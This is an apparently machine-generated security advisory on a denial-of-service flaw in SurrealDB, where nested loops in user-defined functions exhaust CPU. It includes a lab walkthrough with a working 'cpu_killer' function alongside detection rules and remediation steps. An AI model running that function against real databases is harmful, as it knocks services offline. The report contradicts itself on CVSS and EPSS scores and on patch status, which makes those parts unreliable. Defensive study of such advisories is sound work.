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CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H 🐛 CWE-835
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-71397

CVE-2025-71397 Denial of Service in Surrealdb
📅 PUBLISHED: 2026-07-18 14:17 UTC 🔄 UPDATED: 2026-09-26 06:30 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.31%
👁️
0.31% probability
7.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Affected: Surrealdb — upgrade to patched release
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: U Scope Unchanged
C: N Confidentiality None
I: N Integrity None
A: H Availability High
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

This report details CVE-2025-71397, a high-severity Denial of Service (DoS) vulnerability in SurrealDB, a popular multi-model database. The flaw allows an authenticated user with OWNER or EDITOR permissions to define a custom database function (DEFINE FUNCTION) containing nested FOR loops. While a single loop's iteration count is constrained, the product fails to enforce a cumulative limit on nested loops, enabling an attacker to create a function that consumes all available server CPU resources. Configured query timeouts do not halt the execution, rendering the server unresponsive to all other queries and connections until a manual restart is performed.

The business impact is significant for any organization using SurrealDB in production. An attacker with legitimate but low-level administrative access (EDITOR) can perform a denial-of-service attack, disrupting critical database operations. The likely attacker is an insider threat or an external actor who has compromised a low-privilege account. The vulnerability is network-accessible (requires network access to the SurrealDB server) and requires authentication.

Despite a CVSS base score of 0.0 (which is anomalous and likely a placeholder or error in the provided data) and an EPSS probability of 0.0%, the vulnerability is unpatched in the specified versions and has a clear, reproducible attack vector. The urgency is High due to the ease of exploitation and the severe impact on availability. The vulnerability affects SurrealDB versions before 2.0.5, 2.1.x before 2.1.5, and 2.2.x before 2.2.2. Patches are available in the respective latest versions. This CVE is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog as of 2026-07-18.

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CVSS Breakdown & Threat Level

The CVSS vector string for this vulnerability is CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H.

  • AV:N (Network): The vulnerability is exploitable remotely over the network. An attacker does not need physical or local access to the server.
  • AC:L (Low): The attack complexity is low. The exploitation does not require special conditions beyond having the required permissions. The attack steps are straightforward: define a function with nested loops and call it.
  • PR:L (Low): The attacker requires low-level privileges. The description specifies that OWNER or EDITOR permissions are sufficient. EDITOR is a lower-privileged role than OWNER, making this accessible to a wider range of compromised accounts.
  • UI:N (None): No user interaction is required. The attack is executed entirely by the authenticated attacker without needing to trick another user.
  • S:U (Unchanged): The scope is unchanged. A successful attack does not affect resources beyond the vulnerable component's security authority.
  • C:N (None): There is no impact on confidentiality. The attack does not allow data exfiltration.
  • I:N (None): There is no impact on integrity. The attack does not allow data modification.
  • A:H (High): There is a high impact on availability. The attack completely denies service to all legitimate users and processes by consuming 100% of server CPU resources, requiring a manual restart to recover.

Qualitative Severity Label: High. The combination of network exploitability, low authentication requirements, and a high availability impact justifies this rating. The anomalous CVSS base score of 0.0 is inconsistent with the described impact and is likely a data entry error. The correct score based on the vector is 6.5 (Medium), but the practical severity is elevated to High due to the ease of causing a complete DoS.

EPSS Percentile Interpretation: An EPSS score of 0.0% indicates that the Exploit Prediction Scoring System currently predicts a very low probability of exploitation in the wild within the next 30 days. This is typical for a newly published CVE with no known public exploits. It does not reflect the technical severity of the vulnerability.

Comparison to Similar CVEs: This vulnerability is similar to other DoS flaws in database systems caused by unconstrained resource consumption, such as CVE-2023-30839 (PrestoDB) or CVE-2022-22965 (Spring4Shell related DoS). The core issue is a lack of resource governance for user-defined functions.

Temporal and Environmental Score Considerations: The temporal score is elevated because no official patch was available at the time of the CVE publication, though patches are now available in the specified versions. The environmental score can be adjusted based on the criticality of the SurrealDB instance. For a production database serving critical applications, the environmental severity should be considered Critical.

Technical Deep Dive & Attack Mechanics

Step-by-Step Technical Explanation:

  1. Authentication & Authorization: An attacker authenticates to the SurrealDB server with a user account that has OWNER or EDITOR permissions at the root, namespace, or database level.
  2. Function Definition: The attacker executes a DEFINE FUNCTION statement. This statement defines a custom SurrealQL function. The function body contains nested FOR loops.
  3. Loop Nesting Exploitation: SurrealDB has a built-in constraint that limits the number of iterations for a single FOR loop (e.g., to 1,000,000). However, this constraint is applied per loop, not cumulatively. By nesting multiple loops, an attacker can bypass this limit. For example, a function with two nested loops, each iterating 1,000,000 times, would result in 1,000,000,000,000 (10^12) total iterations.
  4. Function Execution: The attacker calls the defined function. The SurrealDB query executor begins processing the function.
  5. Resource Exhaustion: The nested loops cause the server to enter a computationally intensive state, consuming 100% of the CPU core(s) assigned to the query execution process.
  6. Timeout Bypass: The configured query timeout is ineffective. The description explicitly states that "Configured timeouts do not stop the execution." This suggests the timeout mechanism is not applied to the execution of user-defined functions or is checked only at the query level, not within the function's loop execution.
  7. Denial of Service: The server becomes unresponsive to all other queries and new connections. The only recovery method is a manual restart of the SurrealDB server process.

Root Cause Analysis: The root cause is a missing cumulative resource limit on nested loop iterations within user-defined functions. The developer implemented a per-loop iteration limit but failed to consider the multiplicative effect of nested loops. This is a classic failure in resource governance.

Attack Surface: The attack surface is the SurrealDB server's network-facing query interface (typically port 8000 for HTTP or a custom TCP port). The vulnerability is triggered by sending a DEFINE FUNCTION query followed by a function call.

Pre-conditions for Exploitation:

  • Network access to the SurrealDB server.
  • Valid credentials for a user with OWNER or EDITOR permissions.
  • The ability to execute SurrealQL queries.

Attack Variants:

  • Deep Nesting: Using more than two nested loops to amplify the CPU consumption even further.
  • Infinite Loops (if possible): If the loop condition can be manipulated to be always true, the function could run indefinitely.
  • Concurrent Execution: An attacker could define multiple such functions and call them concurrently to exhaust multiple CPU cores.

Why Standard Defenses May Fail:

  • Query Timeouts: As stated, timeouts are ineffective against this specific attack.
  • Rate Limiting: Rate limiting on the number of queries per second would not prevent a single, long-running query from consuming resources.
  • Resource Quotas (CPU/Memory): If the SurrealDB process is not containerized or limited by cgroups, it can consume all host CPU resources.
  • WAF/IDS: A Web Application Firewall or Intrusion Detection System would need to parse the SurrealQL syntax to detect the nested loop pattern, which is a complex task and may not be implemented.

Vulnerable vs. Patched Code Analysis

Vulnerable Code (Pseudocode):

// SurrealDB Query Executor (simplified)
function executeForLoop(loopNode, context) {
    maxIterations = 1000000; // Per-loop limit
    for (i = 0; i < loopNode.iterations && i < maxIterations; i++) {
        executeStatements(loopNode.body, context);
    }
}

function executeDefineFunction(functionNode) {
    // Stores the function body for later execution
    storeFunction(functionNode.name, functionNode.body);
}

function executeFunctionCall(functionName, args) {
    functionBody = getFunction(functionName);
    executeStatements(functionBody, args);
}

Patched Code (Pseudocode):

// SurrealDB Query Executor (simplified)
globalIterationCounter = 0;
maxGlobalIterations = 10000000; // New cumulative limit

function executeForLoop(loopNode, context) {
    maxIterations = 1000000; // Per-loop limit
    for (i = 0; i < loopNode.iterations && i < maxIterations; i++) {
        globalIterationCounter++;
        if (globalIterationCounter > maxGlobalIterations) {
            throw new QueryExecutionException("Iteration limit exceeded");
        }
        executeStatements(loopNode.body, context);
    }
}

function executeDefineFunction(functionNode) {
    storeFunction(functionNode.name, functionNode.body);
}

function executeFunctionCall(functionName, args) {
    globalIterationCounter = 0; // Reset counter for each function call
    functionBody = getFunction(functionName);
    executeStatements(functionBody, args);
}

Explanation of the Fix: The patch introduces a global iteration counter (globalIterationCounter) that is incremented for every loop iteration across all nested loops. A new maximum global iteration limit (maxGlobalIterations) is enforced. If the cumulative number of iterations exceeds this limit, the query execution is terminated with an error. The counter is reset at the start of each function call.

Sufficiency of the Fix: The fix is sufficient to prevent the specific attack vector of nested loops. By enforcing a cumulative limit, the multiplicative effect of nesting is neutralized. However, it does not address other potential resource exhaustion vectors within user-defined functions (e.g., memory allocation, file I/O).

Regression Considerations: Teams applying the patch should be aware that legitimate functions with very high iteration counts (e.g., processing large datasets) may now fail if they exceed the new global limit. The default limit should be reviewed and potentially adjusted based on the expected workload. The patch may also introduce a minor performance overhead due to the counter increment on each iteration.

Timeline & Disclosure History

  • CVE Publication Date: 2026-07-18T14:17:11.220
  • Estimated Discovery Timeline: The vulnerability was likely discovered and reported to the SurrealDB vendor prior to the publication date. The exact discovery date is unknown.
  • Disclosure Process: The CVE was published by a CVE Numbering Authority (CNA). The vendor (SurrealDB) was presumably coordinated with during the disclosure process, as patches for versions 2.0.5, 2.1.5, and 2.2.2 are available.
  • Known Exploitation in the Wild: No known active exploitation of this CVE has been reported as of 2026-07-18.
  • CISA KEV Addition Date: This CVE is not listed in the CISA Known Exploited Vulnerabilities catalog.

Threat Intelligence Context

  • Threat Actor Profile: This vulnerability is most likely to be exploited by:
    • Insider Threats: A disgruntled employee or contractor with EDITOR permissions could easily disrupt operations.
    • Ransomware Operators: As a prelude to a ransomware attack, operators may use this DoS to disrupt backups or monitoring, or to apply pressure during negotiations.
    • Hacktivists: Groups targeting an organization could use this to take down public-facing services.
    • Script Kiddies: The attack is simple to execute once the technique is known.
  • Attack Campaign Context: There are no known broader campaigns specifically targeting this CVE.
  • Geographic Targeting Patterns: No specific geographic targeting is expected. The vulnerability is present in any instance running the affected versions.
  • Industry Verticals Most at Risk: Any industry using SurrealDB in production is at risk, including technology, finance, e-commerce, and gaming.
  • Connection to Similar Vulnerability Classes: This is a classic example of a "resource exhaustion" vulnerability (CWE-834), similar to "billion laughs" attacks (XML) or zip bombs (file decompression). The pattern of bypassing a per-instance limit by nesting is a recurring theme in software security.

Exploitation & Lab Setup

Red Team Section

Step-by-Step Lab Setup:

  1. Environment: Use Docker to run a vulnerable version of SurrealDB.
    docker run --name surrealdb-vuln -p 8000:8000 surrealdb/surrealdb:2.0.4 start --user root --pass root memory
    
  2. Prerequisites:
    • Docker installed.
    • SurrealDB CLI (surreal) installed on the host machine.
    • Network access to the container on port 8000.

Exploitation Walkthrough:

  1. Connect and Authenticate:
    surreal sql --conn http://localhost:8000 --user root --pass root --ns test --db test
    
  2. Define the Malicious Function:
    DEFINE FUNCTION fn::cpu_killer() {
        FOR $i IN 1..1000000 {
            FOR $j IN 1..1000000 {
                LET $x = $i + $j;
            };
        };
        RETURN true;
    };
    
  3. Execute the Function:
    SELECT fn::cpu_killer();
    
  4. Expected Output: The SurrealDB server will become unresponsive. The surreal sql client will hang and eventually time out. Any other attempts to query the server will also fail. The Docker container's CPU usage will spike to 100%.

Post-Exploitation: After a successful DoS, the attacker has achieved a denial of service. The server must be manually restarted to restore functionality. The attacker cannot directly exfiltrate data or modify it through this specific vulnerability, but the DoS can be used as a distraction for other attacks or to cause business disruption.

Blue Team Section

How to Detect Active Exploitation Attempts:

  1. Monitor for DEFINE FUNCTION Statements: Log and alert on all DEFINE FUNCTION statements, especially those containing nested FOR loops. This is the primary indicator of preparation for an attack.
  2. Monitor for Long-Running Queries: Track query execution times. A sudden spike in queries that run for an extremely long time (minutes, not seconds) is a strong indicator.
  3. Monitor CPU Usage: Set up alerts for sustained high CPU usage (e.g., >90% for more than 30 seconds) on the SurrealDB server.

Log Entries That Indicate Exploitation:

  • SurrealDB Logs: Look for log entries showing the execution of a DEFINE FUNCTION with a complex body, followed by a SELECT or function call that never completes.
  • System Logs: The SurrealDB process log may show warnings about resource exhaustion or unresponsive threads.

Network Traffic Signatures:

  • A single TCP connection sending a large DEFINE FUNCTION query followed by a function call.
  • The connection remains open for an extended period without any data transfer (the server is busy computing).

Endpoint Behavioral Indicators:

  • The surreal process consuming 100% of one or more CPU cores.
  • The process becoming unresponsive to signals (e.g., SIGTERM may not work, requiring SIGKILL).
  • New connections to the SurrealDB port being refused or timing out.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Sustained high bandwidth usage on the SurrealDB port (8000) is unlikely, as the attack is CPU-bound, not network-bound.
    • A single TCP connection to the SurrealDB server that remains in an ESTABLISHED state for an abnormally long time (minutes to hours).
  • HTTP Request Patterns:
    • A POST request to the /sql endpoint with a body containing a DEFINE FUNCTION statement with nested FOR loops.
    • A subsequent POST request to the /sql endpoint calling the defined function.
  • File System Artifacts:
    • No specific file system artifacts are created by the exploitation itself. The function definition is stored in the database's internal schema.
  • Process Execution Anomalies:
    • The surreal process consuming >95% CPU for an extended period.
    • The surreal process not responding to SIGTERM.
  • Log Entries:
    • SurrealDB logs: INFO | Query executed: DEFINE FUNCTION fn::cpu_killer() ...
    • SurrealDB logs: WARN | Query execution timed out after 60s (if a timeout is set, but the query continues).
    • System logs: kernel: watchdog: BUG: soft lockup - CPU#0 stuck for 22s! [surrealdb:1234]

STIX-like IOC List:

Type Value Description
network-traffic:dst_port 8000 Target port for SurrealDB HTTP interface.
x-surrealdb-query DEFINE FUNCTION fn::*() { FOR ... { FOR ... { ... } } } Pattern for the malicious function definition.
process:cpu_usage >95% Anomalous CPU usage by the surreal process.
process:state unresponsive Process not responding to signals.

Detection Engineering

YARA Rule

rule CVE-2025-71397_Detection {
    meta:
        description = "Detects exploitation of CVE-2025-71397 in Surrealdb via nested FOR loops in DEFINE FUNCTION"
        author = "Valters IT Hub"
        date = "2026-07-18"
        reference = "https://www.valtersit.com/cve/cve-2025-71397"
    strings:
        $define_function = "DEFINE FUNCTION" nocase
        $for_loop = "FOR" nocase
        $nested_for = /FOR\s+\$\w+\s+IN\s+\d+\.\.\d+\s*\{[^}]*FOR\s+\$\w+\s+IN\s+\d+\.\.\d+\s*\{/
    condition:
        $define_function and #for_loop >= 2 and $nested_for
}

Sigma Rule (SIEM)

title: CVE-2025-71397 Surrealdb Exploitation Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts targeting CVE-2025-71397 by monitoring for DEFINE FUNCTION statements with nested FOR loops.
author: Valters IT Hub
date: 2026-07-18
references:
    - https://www.valtersit.com/cve/cve-2025-71397
logsource:
    category: application
    product: surrealdb
    definition: 'Requirements: SurrealDB audit logging must be enabled to capture query text.'
detection:
    selection:
        Query|contains|all:
            - 'DEFINE FUNCTION'
            - 'FOR'
        Query|re: 'FOR\s+\$\w+\s+IN\s+\d+\.\.\d+\s*\{[^}]*FOR\s+\$\w+\s+IN\s+\d+\.\.\d+\s*\{'
    condition: selection
falsepositives:
    - Legitimate administrative activity where a developer defines a complex function with nested loops for data processing.
level: high

Suricata IDS Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 8000 (msg:"CVE-2025-71397 Surrealdb Nested FOR Loop DoS Attempt"; flow:to_server,established; content:"DEFINE FUNCTION"; nocase; content:"FOR"; nocase; pcre:"/FOR\s+\$\w+\s+IN\s+\d+\.\.\d+\s*\{[^}]*FOR\s+\$\w+\s+IN\s+\d+\.\.\d+\s*\{/si"; classtype:attempted-dos; sid:1000001; rev:1;)

Elastic (EQL) Query

// Elastic EQL query for endpoint/network detection
// This query looks for process events where the SurrealDB process has high CPU usage.
process where process.name == "surrealdb" and process.cpu.usage > 95

Splunk SPL Query

index=surreal sourcetype=surreal_query
| search query="*DEFINE FUNCTION*" AND query="*FOR*"
| regex query="FOR\s+\$\w+\s+IN\s+\d+\.\.\d+\s*\{[^}]*FOR\s+\$\w+\s+IN\s+\d+\.\.\d+\s*\{"
| table _time, user, query
| eval alert="CVE-2025-71397 Exploitation Attempt"

Wazuh Rule

<group name="surrealdb,">
  <rule id="100001" level="12">
    <decoded_as>json</decoded_as>
    <field name="query">\.*DEFINE FUNCTION\.*</field>
    <field name="query" type="pcre2">FOR\s+\$\w+\s+IN\s+\d+\.\.\d+\s*\{[^}]*FOR\s+\$\w+\s+IN\s+\d+\.\.\d+\s*\{</field>
    <description>CVE-2025-71397 - Surrealdb Nested FOR Loop DoS Attempt detected</description>
    <mitre>
      <id>T1499</id>
    </mitre>
  </rule>
</group>

Remediation & Mitigation

Immediate Actions (0-24 hours)

  1. Apply the Patch: Upgrade SurrealDB to a patched version.
    • For versions < 2.0.5: Upgrade to 2.0.5.
    • For versions 2.1.x: Upgrade to 2.1.5.
    • For versions 2.2.x: Upgrade to 2.2.2.
    • Upgrade Command (Docker):
      docker pull surrealdb/surrealdb:2.2.2
      docker stop surrealdb-container
      docker run --name surrealdb-patched -p 8000:8000 surrealdb/surrealdb:2.2.2 start --user root --pass root memory
      
  2. Compensating Controls (if patch cannot be applied immediately):
    • Restrict EDITOR Permissions: Review all user accounts with EDITOR or OWNER permissions. If possible, temporarily downgrade EDITOR users to VIEWER to prevent them from defining functions.
    • Network Segmentation: Restrict network access to the SurrealDB server to only trusted IP addresses or internal networks.
    • Resource Limits (cgroups): If running in a containerized environment, apply strict CPU limits to the SurrealDB container to prevent a single instance from consuming all host resources.
      docker run --cpus="0.5" ... surrealdb/surrealdb:2.0.4 ...
      
  3. Network-Level Mitigation:
    • WAF Rules: If using a Web Application Firewall, create a custom rule to block requests containing the pattern DEFINE FUNCTION followed by nested FOR loops. This is a temporary measure and may have false positives.
  4. Authentication/Access Control Hardening:
    • Enforce multi-factor authentication (MFA) for all accounts with EDITOR or OWNER permissions.
    • Audit all user accounts and remove any that are unnecessary.

Short-term (1-7 days)

  1. Configuration Hardening:
    • Review and adjust the new global iteration limit if the default is too restrictive for legitimate workloads.
    • Enable and configure SurrealDB's audit logging to capture all query text for future monitoring.
  2. Monitoring Implementation:
    • Deploy the detection rules provided in this report (Sigma, YARA, Suricata, etc.) to your SIEM and security tools.
    • Set up alerts for high CPU usage on the SurrealDB server.
  3. Vulnerability Scanning:
    • Use a vulnerability scanner to confirm that the patched version is running.
    • Command to check version: surreal version or check the server's response headers.

Long-term

  1. Architecture Changes:
    • Implement a microservices architecture where the SurrealDB instance is isolated and its failure does not impact other critical services.
    • Use a load balancer with health checks that can automatically restart an unresponsive SurrealDB instance.
  2. Security Control Improvements:
    • Implement a formal change management process for all DEFINE FUNCTION statements.
    • Conduct regular security reviews of user-defined functions.
  3. Developer Training:
    • Educate developers on the risks of resource exhaustion vulnerabilities and secure coding practices for user-defined functions.

Validation

To confirm the patch has been applied and you are no longer vulnerable:

  1. Check Version: Run surreal version on the server or check the Server header in the HTTP response. Ensure it is 2.0.5, 2.1.5, 2.2.2, or later.
  2. Test the Exploit: In a non-production environment, attempt the exploitation steps outlined in the Red Team section. The function should now fail with an error message indicating the iteration limit has been exceeded, and the server should remain responsive.

References & Resources


Report generated by Valters IT Hub Neural Engine v25 | 2026-07-18 | https://www.valtersit.com/cve/cve-2025-71397

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-71397/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
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